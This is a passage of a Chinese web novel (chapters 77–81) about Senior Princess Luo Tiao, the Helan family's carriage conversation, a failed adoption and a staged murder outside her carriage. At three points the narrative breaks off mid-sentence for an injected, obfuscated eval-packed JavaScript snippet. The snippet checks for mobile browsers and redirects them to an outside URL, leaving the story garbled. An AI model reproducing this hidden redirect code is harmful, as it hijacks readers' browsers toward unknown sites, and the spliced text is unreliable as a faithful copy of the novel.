最后,骆苕和李印仪起身前往禽舍旁的小院观看贺兰翊抓鸡逮鸭,在疲惫的贺兰翊实在跑不动后李印仪一家人才辞行离开公主府。 贺兰翊左手一只鹅右手一只鹅,掐住大鹅长长的项脖一路拖着,雄赳赳气昂昂回头问骆苕:“长公主殿下,明日我还可以再来吗?” 骆苕笑吟吟道:“随时恭候。” 贺兰娍叉手行礼:“长公主殿下,我很喜欢藏书阁内的书册典籍,多谢今日盛情款待。”贺兰娍没有从藏书阁内借阅书籍,不过她是真的对骆苕的藏书阁十分喜欢,婢子来唤她时,方觉时间过得太快,但她是个知礼的小孩,没多耽搁便起了身。 骆苕同样笑吟吟道:“喜欢便好,随时恭候。” 在公主府门前,骆苕目送手忙脚乱的贺兰融一家钻入马车,看着那两只鹅被贺兰翊强行拖进去。 拥挤的马车内李印仪见贺兰翊的注意力在大鹅身上,看了一眼目光投向窗外的贺兰娍,回过头贴着贺兰融耳边叹了一声低说:“多年未见,长公主变化很大。” 贺兰融前些日子在御园博望台只与骆苕匆匆照过一面,此时听李印仪如此说,脸色沉了沉道:“回家再说。” 78. 第七十八章 “舒雁,鹅。” 望向厢窗外的贺兰娍突然念念有词,“昏礼,下达纳采。用雁。” 这是六礼中的纳采。 当男子有了心仪的的女子,女子同意议婚之后,男子需要携舒雁去女子家中正式行聘。 贺兰娍喜欢公主府和长公主,为什么不能再亲近一些呢? 在看到胞弟贺兰翊,欢天喜地地从公主府拖走舒雁,大家都喜颜于色其乐融融,贺兰娍脑中的算盘精准启动。 她想,长公主殿下刚入公主府没多久,应当还在新婚之期,成婚了肯定会像自己的父母一样生儿育女,只要长公主生下小女郎,若自己的父母真能和长公主定下一桩娃娃亲,日后常走动捎带自己和长公主也会更加亲近。 至于自己的胞弟是赠舒雁还是拖走舒雁都无伤大雅。 女儿贺兰娍满含深意的话落在李印仪夫妇耳内,二人心中百转千回后激起千层浪,他们的女儿出口必定言之有物。 荷兰融两颊狠抽,他还停留在贺兰翊要娶骆苕的思维中,他用极其尴尬的笑掩盖窘迫:“娍儿,今日之鹅就是鹅,并非舒雁,只限烹煮炙烤,满足口腹。” 烹煮炙烤,满足口腹。 还死死握着大鹅项脖的贺兰翊,一时听不懂贺兰娍的话,但贺兰融的话可是领悟的明明白白,两眼一红“哇”的一声嚎啕如雷,吓的一直在挣扎的大鹅又开始强烈扑腾,红掌到处乱拨。 贺兰翊哭着叫喊:“我的鹅,谁都不许吃……我要它们陪我玩!” 车厢内又乱作一团。 说错话的荷兰融帮着贺兰翊按大鹅,诚心道歉:“父亲的错,翊儿的鹅当然要陪翊儿玩耍,吃不得。” “翊儿乖,你的鹅,阿母帮你看着,谁也不能动它们。”李印仪一边哄贺兰翊,一边佯装生气看着贺兰融。 贺兰融连连附和。 “停车!”贺兰娍再也忍受不了如此哄乱的场面,喊停车架,有条不紊地拎走贺兰翊手中的大鹅,喊后车的下人过来将大鹅关进竹笼拿走,重新归位问还在哭哭啼啼的贺兰翊,“贺兰翊,你喜不喜欢长公主殿下?” 贺兰翊吸着鼻子,一口咬定说:“喜欢。”喜欢长公主和他的大鹅有什么关系呢。 李印仪夫妇二人头脑发胀,如今都轮不到他俩当家做主了。 听见贺兰娍胸有成竹道:“趁长公主殿下还未诞下子嗣,贺兰翊,你赶紧求着父亲母亲为你跟长公主殿下订下娃娃亲,一旦长公主殿下生下小女郎,你便有漂亮小娘子做夫人,不必整日和父亲抢阿母了。” 父母之命,媒妁之言,还得看父母态度。 李印仪头疼欲裂,方才和骆苕的一番谈话,不好和孩子叙说,一向知礼的女儿竟然在盘算这样的鬼点子。 颓在一旁的贺兰融正了色,用平日极少的严肃语气,对女儿说:“娍儿,不可胡言。” 贺兰娍心惊了一下,扑簌着睫毛低问:“父亲,我说错了吗?”自己的父亲很少如此严厉地对她,她委屈涌上来却强忍着。 贺兰融心里虽有些焦灼,但语音变柔谆谆而道:“娍儿,你得明白,有些事没有对错,但不适合你们小孩子妄议。”双眼看着女儿的眼睛,父女二人眼神交流片刻,他问,“娍儿,懂了吗?” 贺兰娍知错地垂下头,为掩不安揪了揪裙裳衣袖应了一声,贺兰融将并排坐着的女儿轻揽过去:“一会儿父亲去给你买想要的桃脯和糖人。” 贺兰娍努力找回失去的兴致,面带笑容冲自己的父亲点点头。 贺兰翊此时有些迷糊,咽下最后的哭腔说:“长公主殿下不让我娶,长公主殿下府上也没有幼公主,也不会生幼公主。”望向申怡可怜巴巴,“今晚我要阿母一直陪翊儿。” 李印仪一看贺兰翊的模样就是玩累后想睡觉的状态,简单明了地应:“嗯,今晚陪翊儿。”把脏兮兮的人抱起来,哄他入睡。 贺兰娍凑到贺兰融耳边小声问:“幼公主是怎么一回事?” 一定是她去藏书阁后错过的内容。 对于贺兰娍的这个问题不太好解释,贺兰融想了片刻,顺着适才贺兰娍的话小声对她说:“就是长公主还不会生育子嗣。” 贺兰娍狐疑:“长公主没有驸马吗?” 贺兰融摇头。 贺兰娍心中越发疑惑,她不理解但也知不好再问,默默地想着,长公主没有驸马便开府,完全超出了她的认知所学。 再联想到长公主短短的秀发,脑中开始发懵。 难怪父亲不让她妄议。 李印仪怀里的贺兰翊瞬间熟睡,李印仪询问女儿贺兰娍可否去后车,贺兰娍知道父母有话要谈,便乖巧地换坐去后车。 马车缓行,李印仪向贺兰融重述完方才和骆苕的谈话后,夫妻二人都陷入了沉默。 曾经至情至圣的长公主委身凌文袤,令人唏嘘感慨。 好半晌,贺兰融长叹一声,刮了一下贺兰翊的肉脸,提气道:“圻国这块心腹大患不除,长公主永远寝食难安。” 大嵘若被圻国吞并,恐怕孝玄帝骆炜诠的陵寝都会被掘地千尺,拖出尸身挫骨扬灰。 久居深宫的骆苕有此担心无可非议。 李印仪颔首称是。 听见贺兰融忽地嘲讽似的笑了笑:“那小子长得倒是一副人模人样,可惜不成事,要不然长公主还真能生个漂亮的小公主出来,让咱们翊儿攀龙附凤去。” 剔除品行,凌晖这个儿子的身形样貌在男儿当中确实没得挑,和长公主生出的小娃娃闭着眼睛都得好看。 骆氏皇族不出丑人,样貌各个顶天,这则流言广为流传只怕还是收敛了的。 “你胡说什么呢?”李印仪一抬眼,目光冷声音更冷,“暂且先不论长公主往后心意如何。就算凌晖能坐稳皇位,他凌文袤一介游手好闲的莽夫何来能力接替凌晖掌权?” 不是谁生的都可称之为公主,帝王得宠之女才有这个资格,把凌氏往好了想,纵然凌晖坐稳皇位,日后凌文袤最多是一个亲王,生的女儿再得宠也只能是郡主。 郡主和公主相差甚远,除非郡主的父亲有能耐扭转乾坤荣登宝位。 “我没胡说。”贺兰融弓着身子前倾,双臂手肘支在双腿膝盖,悠闲闲道,“如今朝中那些大臣们,暗地里早已在考量选择凌承佐一党还是凌文袤一党。凌承佐背后所能仰仗的势力远不如凌文袤背后所靠势力稳固。” 他没意思的挑了挑眉,“凌文袤那小子只要稍稍长点脑子,那个人人想要的位置犹如探囊取物。” 李印仪看着贺兰融,心思细细流转,一字一字问:“贺兰道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12985165|123112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消,你何时这么关注朝堂上的党派之争了?” 道消是贺兰融的表字。 被李印仪喊了表字的贺兰融对她深沉一笑,说:“后宅你不让我退,我总要设法为自己某个前程,你也知道,我与那凌承佐不对付,凌文袤那小子虽看着不顺眼,但好歹跟他没有大过节,扶一扶这坨烂泥兴许能成事呢。” 贺兰融总有一种错觉,凌文袤那小子并非那么不堪,而是一直装腔作势掩人耳目。 当年凌承佐棒杀文士,贺兰融并不知晓是孝玄帝骆炜诠默许的凌承佐,所以利用自己皇帝近卫的身份折辱过凌承佐,凌承佐竟一声不吭,被贺兰融打得皮开肉绽,养了好多日。 最后谁都没在孝玄帝骆炜诠面前提起这事。 不了了之。 贺兰融也是事后才清楚,凌承佐棒杀文士是孝玄帝骆炜诠默许的,这陈年梁子结下恐怕不好解,都是仇呢。 “贺兰道消。”李印仪眸光深幽,再次郑重一字一字道,“朝堂不是你义气用事的地方,不可轻举妄动坦露心迹。凌晖一心扶持凌承佐人人皆知,凌氏内部的这滩浑水,我劝你不要掺和。” 李印仪的担心合乎情分,贺兰融缺点就在太义气用事。 贺兰融面色寻常,替李印仪理好鬓发,慢慢道:“夫人多虑,这马车内就只有你我二人,凡事肯定你是第一个知道。” 低头看了看贺兰翊,“咱们的翊儿,谁家的小女郎都不惦记,等他长大,小女郎自会送到他面前。” 李印仪没说话,想到自己丈夫的处境心事沉沉。 贺兰融的父亲贺兰永临和如今的大司寇贺兰启臻一母同胞,当年结下老死不相往来的仇恨,直到贺兰永临死的时候都没解开。 谁也不知到底是什么仇能让亲兄弟各自为谋。 年少的贺兰融谨遵父亲贺兰永临死前遗命——不可寻求宗亲帮扶。 就这样,贺兰融与母亲相依长大。 李愈大将军欣赏贺兰融的品行,便将贺兰融举荐给孝玄帝骆炜诠,加之贺兰融奋发图强,小小年纪跟随在骆炜诠身边征南战北,渐渐崭露头角,在大嵘有了自己的一席之地。 李愈看在眼里,又将自己的小女李印仪许配给了贺兰融。 就此造就一段佳话。 成为李愈的佳婿,贺兰融也算是攀附权贵的典范,所以方才,让儿子贺兰翊攀龙附凤说得那么自信轻松。 不过,贺兰融是凭自身过硬的品行和实干,才得到李愈和孝玄帝骆炜诠的青睐。 可叹如今,天不遂人愿,辉煌旧事,被翻天覆地一笔勾销。 厢内昏昏,看着心事沉沉的李印仪,贺兰融起身坐在李印仪身旁,探头吻了上去,李印仪本想推开他,奈何抱着贺兰翊,推开他的那只手也被他事先预知地紧握住。 熟睡中的贺兰翊摇了摇脑袋,鼻子被李印仪的衣袖蹭得发痒,小手挥向鼻子又蠕动身体表示抗议。 李印仪脱离贺兰融的钳制,低头安抚小奶娃。 “臭小子,总坏我的好事。” 贺兰融蹙着两道眉,低低坚定抱怨,“明日起一定分房睡。” 对这件事,李印仪早就在筹划之中,附声玩笑道:“今晚便分,让两只大鹅陪着他。” 笑语晏晏间,夫妇二人一拍即合。 79. 第七十九章 第二日,公主府门前便汇聚了一大批从前的门客,还有一些新的寒门子弟求见长公主。 骆苕一早起来一直呆在书房守着棋盘独自对弈,申怡来禀后,她只问:“有多少人?” 这个时候没必要见的人,还是不见为好,非常时期寒门子弟聚集公主府,多半都是跟风而来,想必也说不了什么要紧事。 “阿石清点过人数,有一百六十七人。”申怡知道骆苕没有晤谈的意思,回完又说,“方才使女告知他们,长公主您一切安好不必拜见,还有刑部大狱里的那十位文士,也告知他们您已经无权干涉,让他们静等彻查结果,可他们没有离开的意思,让使女来通禀说,能否见一见长公主殿下,使女该如何回他们?” 让寒门子弟等候彻查结果,刑部早已明示会按嵘律秉公处理,申怡担心,这些从前的门客协同良莠不济的寒门子弟执意求见,另有他图。 比如再利用长公主的名号,抨击一番凌氏。 正在风口上,不见是最好的。 骆苕定睛在凌文袤留下的白罴画作上,出了神,回神时说:“留下青阳庞奕,庐郡林智远,丰山乔参这三位。其他人,让玄雀卫好生请离,再告诉葛七,日后公主府门前不可聚集寒门子弟。” 申怡不料骆苕记性这么好,大狱内十位文士的名讳牢记于心,连这三位的也没落下,申怡应下后,问:“殿下可要召见这三位文士?” “不见。”骆苕笃然道,“待其他人走后,你告诉这三位,‘集贤堂’即将重开,他们若有意,便留在‘集贤堂’做个执事,若无意,让他们归家去即可,无需多言。” 申怡应声退去。 脚步声渐远,书房恢复原本静谧的模样。 骆苕左手伸进棋钵,无意识地反复抓握里面的棋子,她望向窗外。 秋日里的阳光温煦普照。 这必将是一个多事之秋,不出差池,也必将是硕果盈秋的一年。 昨日李印仪夫妇的到访,和李印仪的谈话中能感知,他们对于凌氏的掌权也在潜移默化地接受着。 如此挺好。 大嵘从立国到如今也不过四十年,像李愈大将军这样在朝堂沉浮一辈子的人,左右迎合,必定不会令自己身陷囹圄。 骆苕深深叹了一口气收眼落回棋盘之上,她在复盘和凌文袤对弈的那一局。 棋如人生,所有的博弈不在棋盘之中,而是棋局之外,自己活在过去太久,犹如井中窥星,被凌文袤拆谋,合乎情理。 面对这局棋,骆苕意兴阑珊地起了身,转去书案前,提笔誊诗一首,落笔书体用的是蔡邕所创的飞白书。 枯笔草篆,骆苕既不是诗中之人,也不是蔡邕,只是个四不像的公主。 不多时申怡回禀,说三位文士应下了骆苕所荐,依照从前规制重开“集贤堂”。 晌午过后,申怡再禀,前往岐城替骆苕联系宏德寺离尘大师铸佛的掮客费覃归京,前来复命,放下一匣子佣钱便跑了。 离尘大师死在美人堆,中州大动,费覃魂都吓散了,连滚带爬返回京都,再听闻长公主也被下在了大狱,更加夜不能寐。 费覃每日都打探长公主的消息。 直到听闻长公主归府,费覃忙携上不属于他的佣钱前来公主府,如数奉还。 费覃如骆苕所料,是一位守信的掮客。 骆苕未多言,只是吩咐让阿石将一匣子金饼拿去埋了。 夜里秋风萧瑟,骆苕又回到从前睡不着的样子,裹好斗篷出东门,踏上长廊,望向对岸河道下游,玄雀卫屋舍火炬通明。 火光打在河面波光粼粼。 骆苕靠在阑干边就那样一动不动地看着河面,许久未来,连竹篱笆也被阿石撤去,说日后换新的。 天气转凉,冬日里东郊会很冷,下人们需要添置的冬衣和白炭,申怡都已经吩咐人准备妥当。 暂时没有疏漏的地方,心却还是浮躁,骆苕有点想她的母后了。 “殿下。”站在一旁忙了一日的的申怡脑中一闪,问,“四海堪舆图已经找到,何时送去凌五郎的宅邸?” 骆苕心一收,回过头看向申怡,惊喜不可思议地笑了:“在哪找到的?” 找了这么久,就差将公主府翻过来,竟然在准备赶制新图时却自己冒了出来。 近日琐事繁杂,申怡也没细问下人在哪找到的,可以肯定的是,四海堪舆图没在原本的木箱里好长时间了,她摇头说:“使女没来得及问,明日再问问。” 下人禀报给申怡,申怡只想着找着便好,总归还在公主,意外丢了那才得仔细盘问找寻。 二人有种失而复得的惋叹,好多事费心计较反而不如愿,但忘却后却能给你一个惊喜。 骆苕含着笑,视线转回河道:“不必特意相问,找着了就交给葛七,让葛七送去凌五郎的宅邸。” “是。”申怡应声犹豫着问,“殿下,凌五郎替您从青云观请的女冠,后日会登俯拜访,要见吗?” 凌文袤临走前给申怡留话。 说他从青云观请了位熟谙医理的女冠,是给骆苕调整食谱和调理身子的,凌文袤嫌弃宫中御医医术平庸,直接将青云观的女冠请来了公主府给骆苕问诊,还说每月都会来。 骆苕已经放弃抵抗凌文袤的这些旁门左道的安排,转身回府说:“见一见也无妨。” ** 翌日清晨,骆公主骆见殊同十多个收养的孩子,带着秋收的喜庆前来公主府拜访。 骆见殊和骆苕在偏厅一照面,骆见殊便知骆苕无恙,就不用花心思和骆苕寒暄近日京都城发生的事。 她将手中拎着的麻袋打开往骆苕身前送,面如春风,说:“长公主,托您的福,今年收成喜人,我都给您留了穗子,快来搓一搓,让我们再沾沾您来年的福气!” 骆苕笑着客套:“皇姑母惯爱说笑,收成好,都是孩子们和你的功劳,是我该沾沾你们的福气才对。” 话还在客套着,骆苕脑袋已经伸过去,视线探向打开的麻袋,里面全是干脆脆一簇簇稻、黍、粟、麦、菽的穗子,不在同一时期收成的稼穗,骆见殊都留在一起送了过来。 瞧着着实喜人。 经过天灾的大嵘,人人都在盼的丰庆农收,今年可谓超乎寻常。 几月前,骆苕离宫入公主府,除去不寻常的凌文袤,骆见殊是第一个登门拜访的,那时也说等秋收后,让那些收养的孩子们把五谷送往公主府,第一个孝敬长公主。 碍于骆苕被关在大狱,耽搁去几日,今日得了一些消息,趁热便登府拜访,反正骆见殊不掺和朝堂纷争,来公主府也不用忌讳什么。 “长公主,请。”骆见殊没再客套,把麻袋往几案上一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13025829|123112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放,见骆苕望着麻袋的眸色淬着华光,自然而然地给骆苕挽起衣袖,诚心说道,“今年这么好的收成,我都十几年未见了,一会儿该去公主府的佛堂上柱高香才是。” 骆苕轻轻“嗯”过一声没再说话。 站在几案前,弯下腰仔细将麻袋中的穗子搓完,又慢慢把豆子一颗颗剥离豆荚,完毕后拍了拍手,拿过申怡递来的帕子净手,对骆见殊说:“多谢皇姑母。” 骆见殊笑意盈盈:“大伙都是赶巧讨个彩头,长公主总还是这般客气。” 庆收过后,民间习俗,要请有福之人搓穗祈福,希望搓穗之人可以给来年带来再次的庆收,反之,稼禾集天地之精华,也可以给搓穗之人带来好运。 都是相辅相成极好的寓意。 搓一搓都是好福气。 骆苕请人入座,平平奉茶,申怡将备好的一包银钱按照惯例先呈给骆见殊,骆见殊望着银钱,暗自忖了忖,问:“长公主说要收养两位七八岁的女孩,可还作数?” “自然作数。”骆苕亲和一笑,说,“公主府空着也是空着,养两个孩子应当不成问题。” 骆苕想要养两个女孩的初衷,也不过是在还一桩陈年旧愿。 慕容瑾在小产失去双胎女婴后,那些时日总会梦到她们,梦境里的两位女婴托梦告知慕容瑾,她们命轻,这辈子入不了帝王家,一直流落在民间,只是无父无母照拂有些清苦。 骆苕不信鬼神,但知道那是慕容瑾的忧思,还愿,不过是给人换个心安。 骆见殊杏眼一眨,神色有些为难:“七八岁手脚健全,模样周正的孤儿一时难找,我再帮长公主继续留意。” 骆苕没在意,只说:“若无合适的,也便算了,此事不好强求。”她的母后早已没再提起过。 骆见殊定睛在骆苕脸上,犹豫着开口:“今日跟来的倒是有一位女孩相较合适,不过已经九岁,长公主可否先瞧瞧,若有眼缘,留下即可。” 骆苕不好推诿,也便应了下来。 骆见殊把不情不愿垂着头的小女孩领进偏厅行礼后,骆苕忍不住笑了笑。 因为女孩的声音比她的人还不情愿。 女孩个子不高身量很小,最夺人眼球的还属一头被太阳晒得炸毛焦黄的头发和黑如炭的脸蛋。 身上的衣物找不到一处干净的地方,脚穿一双拉了毛边,同样脏兮兮的小鞋,身背一只斜挎包。 骆苕慢慢踱到女孩跟前,也不见她惊慌,不干净的小手按在薄薄的挎包突起的一角一动不动,似乎那里才是她该关心守护的东西。 骆苕猜,挎包一角会有她的小秘密。 “你可愿意留在公主府?” 骆苕打量片刻后不问名字,轻轻柔柔直言相问。 女孩半垂着眼眸,蠕动唇角,说:“我不想留在公主府,只想跟着女郎君。” 声音很低,但很坚定,她说的女郎君是骆见殊。 骆苕看向骆见殊,缓缓摇头道:“还是让她跟着皇姑母为好。” 女孩见过公主府的奢华也不愿留在公主府,品性一定不会差,这样的女孩在哪里都会活得很好,将九岁大的人强留下来,生活在公主府,反而会让她不自在。 骆苕如此说,骆见殊只当没有眼缘。 这位女孩平日里看着爱撒欢,将自己弄得脏兮兮,其实很懂事。 80. 第八十章 让女孩如从前一样收养在骆见殊的名下。 因骆苕的话,女孩暗暗大松一口气,微微抬头,目光顺着骆苕的裙摆偷偷上移,她想在临走之前,看一看这位想收养孩子的长公主,究竟是什么模样。 方才骆见殊领着女孩一路过来,叮嘱过不可目视长公主,但在这一刻好奇心战胜了规矩。 在女孩掀起眼皮时,正好骆苕的视线撞了进来,女孩忙低下头,不安地开始攥紧挎包一角。 骆苕看着女孩目光慌张地躲闪,面带笑意没说什么,觉得女孩非常机敏,眼中还盛着耀眼的星辰。 是位伶俐可人的女孩。 骆见殊没看见二人对视的这一幕,正招呼偏厅外的随身婢女入内将女孩领走,等女孩出了偏厅,骆见殊笑盈盈对骆苕说:“我继续帮长公主留意。” “好。”骆苕说,“最好是年龄相仿的两位女孩一起送来。” 骆见殊应下,又解释起女孩脏兮兮的原由,“别看这女孩一副邋遢模样,其实长得俊俏着呢。前年收养之后我才察觉,是她故意在田间地头将自己糊弄得邋里邋遢,问她为何如此,她只说那样自在一些。我猜,她兴许是在努力保护自己。手脚健全的孤儿没被贩卖收做私婢、萌户,已是万幸,也不知从前吃了多少的苦。” 特别是模样又周正的小孩,若没有半分权势掩护,流荡在纷乱的世间,简直是场灾难。 这一句骆见殊没明说,但骆苕已经听得十分明白。 乱世人命如草芥。 女孩那一眼好奇错愕的对视,让骆苕更为动容,不过骆苕只道:“皇姑母费心了。” 骆见殊客套:“还得靠长公主帮衬。” 骆苕忽问:“女孩叫什么名字?” “子晴。”骆见殊回得很干脆,“子子孙孙的子,雨过天晴的晴。” “子,可是姓氏?”骆苕也被女孩激起了好奇心,子乃上古姓氏,当今未曾听闻。 骆见殊嗟叹摇头,说:“曾问过她,她说子,并非姓氏,名字也是她自己取的,大抵不愿外人知晓从前的身世。” 原来如此。 骆苕颔首没再继续问,寻常人家鲜少有识字的,这个女孩却给自己取了个好听的名字。 寒暄过后,骆见殊去佛堂敬香后便离开了公主府,一帮孩子,留下五谷还有新鲜的秋枣、柑橘、紫奈驾着牛车乌泱泱地一同离去。 和骆见殊同乘一辆马车的子晴好奇心又满了上来,侧头轻问骆见殊:“女郎君,下回我们还会再来吗?” 子晴不想被长公主收养,但还想过来看看,方才的那一眼对视,有种莫名的吸引力,促使子晴想要探究。 骆见殊倒是笑了,反问:“你想来吗?” 可惜骆苕对子晴没有眼缘,浅浅的一句问询后就这样错过,若不然今日便已经将子晴留在了公主府。 骆见殊有公主头衔加身,但没有以公主身份自恃,一直让下人们称呼她为女郎君。 平常也不会和收养的那些孩子们亲近,怕这些孩子们拿她的身份养成仗势欺人的陋习,所以一直保持着主仆的身份。 但子晴除外,这位女孩自我防备很强又重情义,采桑养蚕,辛勤劳作,从不贪慕虚荣。 骆见殊曾怀疑过子晴的身份,在看到子晴下地干农活时的麻利劲,立马否定子晴是大户人家落难的孤女。 子晴抿嘴诚实地点了点头,说:“还想来。” 骆见殊只是笑,子晴方才直接拒绝了骆苕的收养,却还想来公主府,必定有她想来的原因,肯定不会是这些虚浮在表面的荣华,收养到如今,子晴还未跟任何人敞开心扉,不过骆见殊的好奇心并不强,因为已经见够世间穷苦孩子的苦。 她只问:“那往后,来公主府收银钱的差事交给你,如何?” 让聪慧爱识字又踏实的女孩多见见世面,总归不会出什么岔子。 再则,骆氏皇族落没,她骆见殊靠收养孤儿,照拂孤寡老人才搏来这份立足世间的好名声,还要维系下去,若能培养一位牢靠的义女为己所用,自己的负担也会轻松一些。 子晴眼眸亮了亮,问:“我可以吗?” 骆见殊郑重地点头。 子晴骤然紧张起来,平日里在田间撒欢惯了,突如其来完全不一样的差事让她又惊又喜。 骆见殊打起帘子往外瞭望,青黄交接之际,景致虽不及夏日草木葱茏,可还是欣欣向荣。 马车疾驰,车轮轧着秋日里的黄土道,滚滚而去,同时扬起尘烟卷走最后的热气。 时光轰轰隆隆碾过一秋,转眼入了冬。 前些日子下了场小雪,日光化开的白雪汇集在瓦砾边,被夜风一吹,又凝结成晶莹剔透的冰棱,附挂在屋檐下。 次日的暖阳一照,熠熠生辉。 刚拜谒完皇太后慕容瑾的骆苕,面色平静拢好狐氅疾步出掖门,钻入马车,将手炉交给申怡,吩咐马夫:“今晚不回公主府,去清雅苑。” 车夫应声驱使马车。 清雅苑被收拾一新,当做骆苕在城中的宅邸,正合适。 京都城稠人广众,熙熙攘攘,到底比东郊公主府暖和热闹。骆苕居住在京都城并非嫌弃东郊太冷,而是东刕各部派了许多求学使者入京,鱼目混杂。 想要接见什么人,骆苕在城中居住,行事方便许多。 骆薇特地给骆苕送来了东刕酒和几匹东刕马,送礼的东刕遣使骆苕还未召见,但收下的礼物全部安置在了清雅苑。骆苕还没想好回什么礼给骆薇,蕙兰香膏胭脂水粉这些实在太过寻常。 马车外的葛七叩击行驶中的厢壁,朝里禀报:“殿下,今日的信。” 按照惯例葛七将信伸进厢窗,申怡接过交给骆苕。 骆苕不必打开便知上面写的是什么,是凌文袤飞鸽传来的平安信,不多不少总那三个字。 “安,勿念。” 骆苕看完他吝啬的笔迹,唇角暗抽,将纸签收进衣袖暗袋。 京中事态平息,也预示着京外政令平稳实施,从前她的担忧似乎画蛇添足。 中州倒是闹了好大一阵子,刺史花景良被撤职调去了幽州,天寒地冻的时节,被调去幽州管辖民风强悍的杂地,吃苦受气必不可少。还听闻花凊扣在京都城有些日子了,前些日子返回岐城一直没回来。 骆苕和花凊一直没碰上面。 不过无妨,花凊总会回来的。 申怡望着已经挽起发髻的骆苕,不由地多看几长眼,骆苕手掌抚向腮边,笑问:“可是妆色有恙?” 在府邸披头散发惯了,今日特地挽髻、上妆、描眉入宫见慕容瑾,费去好大的工夫,骆苕十分满意自己的妆容, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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申怡沉眉:“小楼上有人摔了下来,惊扰了车驾。”巷道内人虽少,但对这样的事都万分关心,随便一打探便知道了七七八八。 联想后面的相安无事,骆苕只能往意外那面想,低喃:“未免太巧。”又问,“那人如何了?” 申怡欲言又止的模样,骆苕猜到了结果,那人肯定是死了。 “罢了。”骆苕说,“等葛七他们回来,再问个仔细。” 见申怡犹犹豫豫,不像往常的模样,骆苕知道她还有话没说出口,揉了揉太阳穴往外间跨,故作轻松尽量恢复寻常,声色轻柔:“去告诉厨堂,我饿了。” 申怡应下,跟着出去,定了定心神如实道:“方才使女亲自前去查看了一番,那人掉落的位置蹊跷,不在小楼内侧,而是靠马道中间一些,瞧着血迹飞溅的样子,是被功力老道的人掷摔而下,活活摔死。” 骆苕脚下一滞。 被人活活摔死,不是近似于醉酒意外失足,那说明凶手能看到车驾的行驶轨迹,故意惊扰的车架。 难怪方才申怡欲言又止。 凶手本就是冲着长公主府的车架而来的。 81. 第八十一章 凶手明目张胆在公主的车驾前,故意杀一个人,这是对骆苕的某种警示和恐吓。 “死者什么身份?”骆苕眉心颦蹙,心弦渐渐绷紧。 “还未查明。”申怡回道,“巷道内有目睹者说,死者面朝地血肉模糊,瞧不清脸貌,只知他身穿寻常粗布短褐,像个仆役。过后尸身很快被捕快收走,要等仵作查验结果。” “可有抓住凶犯?” 骆苕抬步继续朝外迈去,申怡接过婢女手中的斗篷披在骆苕身上,面色沉重,“听闻玄雀卫当即去追了,抓没抓到不太清楚。” 骆苕不再相问,一切要等葛七回来才能知晓,不过那颗悬着的心一直久久平复不下,食欲也被冲刷殆尽。 草草用过几口膳食后,在内院走动消解思绪,葛七回来时已至日落黄昏。 冬日的太阳总是落的早。 葛七和肖绩,还有一众玄雀护卫被申怡引着踏进内院,在前领路的两位都还锁着眉头,骆苕见此情景,面色反倒缓和下来,捧着手炉稳心迎人过来。 葛七对自己的失职还在耿耿于怀,先前从车厢内把骆苕扶出,问骆苕可有伤着,面对他的却是一脸的呆滞和沉默,吓得葛七,直接把人一路抱回了清雅苑。 幸而脚程很近,回清雅苑后骆苕也逐渐清醒,疾医随后问诊,骆苕也能对答如流,葛七这才稍稍放下心,转而去了事发地。 不过后面还有更为棘手的,葛七朝骆苕拱手,先请罪:“卑职失职,还请长公主殿下治罪。” 肖绩伙同一众玄雀护卫一起拱手附和。 这样客套的阵仗,骆苕觉得头疼,能治他们罪的应该是他们的主人凌晖。 “行了,禀报正事。”骆苕直问,“可有抓住凶犯?凶犯有几人?” 葛七领会骆苕嫌他客套的意思,朝身后挥挥手屏退已经不相干的玄雀护卫,回身道:“想必长公主殿下已经猜到,凶犯是冲着您来的,凶犯只有一位,也早已缉拿归案,秘密关押在廷尉地牢,不过,他只说要见长公主殿下,旁的闭口不说。” 骆苕没有迟疑,轻声接口:“带我去。” 葛七抬眼看向骆苕,面露忧色,诚心劝阻:“今日长公主殿下刚受过惊吓,等到明日再见也不迟,反正凶犯一时半会儿也死不了。”又看向肖绩,示意肖绩继续禀报。 凶犯自知逃不掉,没闹出大响动便束手就擒,刚挨过剐肉之刑,这下恐不好让长公主去见他。 肖绩正襟而立,犹豫着说:“从楼上被摔下来的人,长公主殿下认得。” 闻言,骆苕收紧怀里的手炉,看着肖绩示意他继续说下去。 “济虔寺的前住持悟德。”肖绩在骆苕惊诧晃神时说出死者真实死因,“仵作查验后,证实悟德生前受曼陀罗之毒,口不能言,身不能动,再被凶犯从小楼上摔下,筋骨尽碎七窍流血而亡。” 骆苕缓缓眨了眨眼,按捺住油然而生的悲悯心绪。 她还记得韩悟说他能全身而退,日后授几亩薄田,娶妻生子。 一个月前,花景良大肆整顿中州寺宇,责令寺宇僧侣归田,释放寺婢,风声到底过大,传至京都城,韩悟借机请辞济虔寺住持之职,还俗后给骆苕送过信以作告别,告知她,他不日便会离京,此生不再踏入京都城。 如今韩悟却死在了京都城,还是死在骆苕的面前。 